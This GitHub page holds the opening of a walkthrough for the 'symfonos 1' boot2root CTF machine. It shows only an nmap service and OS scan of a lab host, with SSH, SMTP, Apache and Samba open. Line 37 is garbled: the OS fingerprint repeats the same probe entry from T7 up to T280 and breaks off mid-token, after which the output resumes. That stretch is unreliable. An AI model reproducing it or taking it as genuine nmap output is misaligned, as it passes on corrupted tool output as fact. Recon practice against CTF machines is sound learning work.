



voker2311 /

CaptureTheFlag-walkthroughs



&lt;&gt; Code

Issues

Pull requests 1

Actions

Projects

Security

Insights

## CaptureTheFlag-walkthroughs / symfonos 1 CTF Walkthrough.txt



voker2311 Update symfonos 1 CTF Walkthrough.txt

83a85f7 · 5 years ago



475 lines (369 loc) · 22.2 KB

```
1 symfonos:1 is an intermediate boot2root machine.
2 IP: 192.168.0.108
3
4 Lets enumerate the system and try to exploit it.
5
6 root@LAPTOP-U5913CMD:/home/akshay# nmap -A -T4 -p- 192.168.0.108
7 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-23 19:32 IST
8 Stats: 0:00:02 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
9 NSE Timing: About 0.00% done
10 Stats: 0:01:08 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
11 NSE Timing: About 97.50% done; ETC: 19:33 (0:00:00 remaining)
12 Nmap scan report for 192.168.0.108
13 Host is up (0.0018s latency).
14 Not shown: 65530 closed ports
15 PORT      STATE SERVICE      VERSION
16 22/tcp    open  ssh          OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
17 | ssh-hostkey:
18 |   2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
19 |   256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)
20 |_  256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
21 25/tcp    open  smtp         Postfix smtpd
22 |_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, EN
23 80/tcp    open  http         Apache httpd 2.4.25 ((Debian))
24 |_http-server-header: Apache/2.4.25 (Debian)
25 |_http-title: Site doesn't have a title (text/html).
26 139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
27 445/tcp   open  netbios-ssn  Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
28 No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/s
29 TCP/IP fingerprint:
30 OS:SCAN(V=7.80%E=4%D=9/23%OT=22%CT=1%CU=33464%PV=Y%DS=2%DC=T%G=Y%TM=5F6B55B
31 OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=8)OPS
32 OS:(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O5=M5B4ST1
33 OS:1NW6%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
34 OS:(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=A
35 OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
36 OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
37 OS:-P%N-%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T8(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T9(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T10(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T11(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T12(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T13(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T14(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T15(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T16(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T17(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T18(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T19(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T20(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T21(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T22(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T23(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T24(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T25(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T26(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T27(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T28(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T29(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T30(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T31(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T32(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T33(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T34(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T35(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T36(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T37(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T38(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T39(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T40(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T41(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T42(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T43(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T44(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T45(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T46(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T47(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T48(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T49(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T50(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T51(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T52(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T53(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T54(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T55(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T56(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T57(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T58(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T59(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T60(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T61(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T62(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T63(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T64(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T65(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T66(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T67(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T68(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T69(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T70(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T71(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T72(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T73(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T74(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T75(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T76(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T77(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T78(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T79(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T80(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T81(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T82(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T83(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T84(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T85(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T86(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T87(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T88(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T89(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T90(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T91(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T92(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T93(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T94(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T95(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T96(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T97(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T98(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T99(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T100(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T101(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T102(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T103(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T104(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T105(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T106(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T107(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T108(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T109(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T110(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T111(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T112(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T113(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T114(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T115(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T116(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T117(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T118(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T119(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T120(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T121(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T122(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T123(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T124(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T125(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T126(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T127(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T128(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T129(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T130(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T131(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T132(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T133(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T134(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T135(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T136(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T137(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T138(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T139(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T140(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T141(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T142(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T143(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T144(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T145(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T146(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T147(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T148(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T149(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T150(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T151(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T152(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T153(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T154(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T155(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T156(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T157(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T158(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T159(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T160(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T161(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T162(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T163(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T164(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T165(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T166(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T167(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T168(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T169(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T170(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T171(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T172(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T173(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T174(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T175(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T176(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T177(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T178(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T179(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T180(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T181(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T182(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T183(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T184(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T185(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T186(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T187(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T188(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T189(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T190(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T191(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T192(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T193(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T194(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T195(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T196(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T197(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T198(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T199(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T200(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T201(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T202(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T203(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T204(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T205(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T206(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T207(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T208(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T209(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T210(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T211(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T212(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T213(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T214(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T215(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T216(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T217(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T218(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T219(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T220(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T221(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T222(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T223(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T224(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T225(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T226(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T227(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T228(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T229(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T230(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T231(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T232(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T233(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T234(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T235(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T236(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T237(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T238(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T239(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T240(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T241(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T242(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T243(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T244(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T245(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T246(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T247(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T248(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T249(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T250(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T251(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T252(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T253(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T254(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T255(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T256(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T257(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T258(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T259(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T260(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T261(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T262(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T263(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T264(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T265(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T266(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T267(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T268(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T269(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T270(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T271(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T272(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T273(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T274(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T275(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T276(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T277(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T278(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T279(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T280(R=Y%DF=Y%T=40%W=0%S=7%A=Z%F=AR%O=%RD=0%Q=)T28
```

```

38 OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=C32D%RUD=G)IE(R=Y%DFI=N%T=40
39 OS:%CD=S)
40
41 Host script results:
42 |_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
43 |_nbstat: NetBIOS name: SYMFONOS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown
44 | smb-os-discovery:
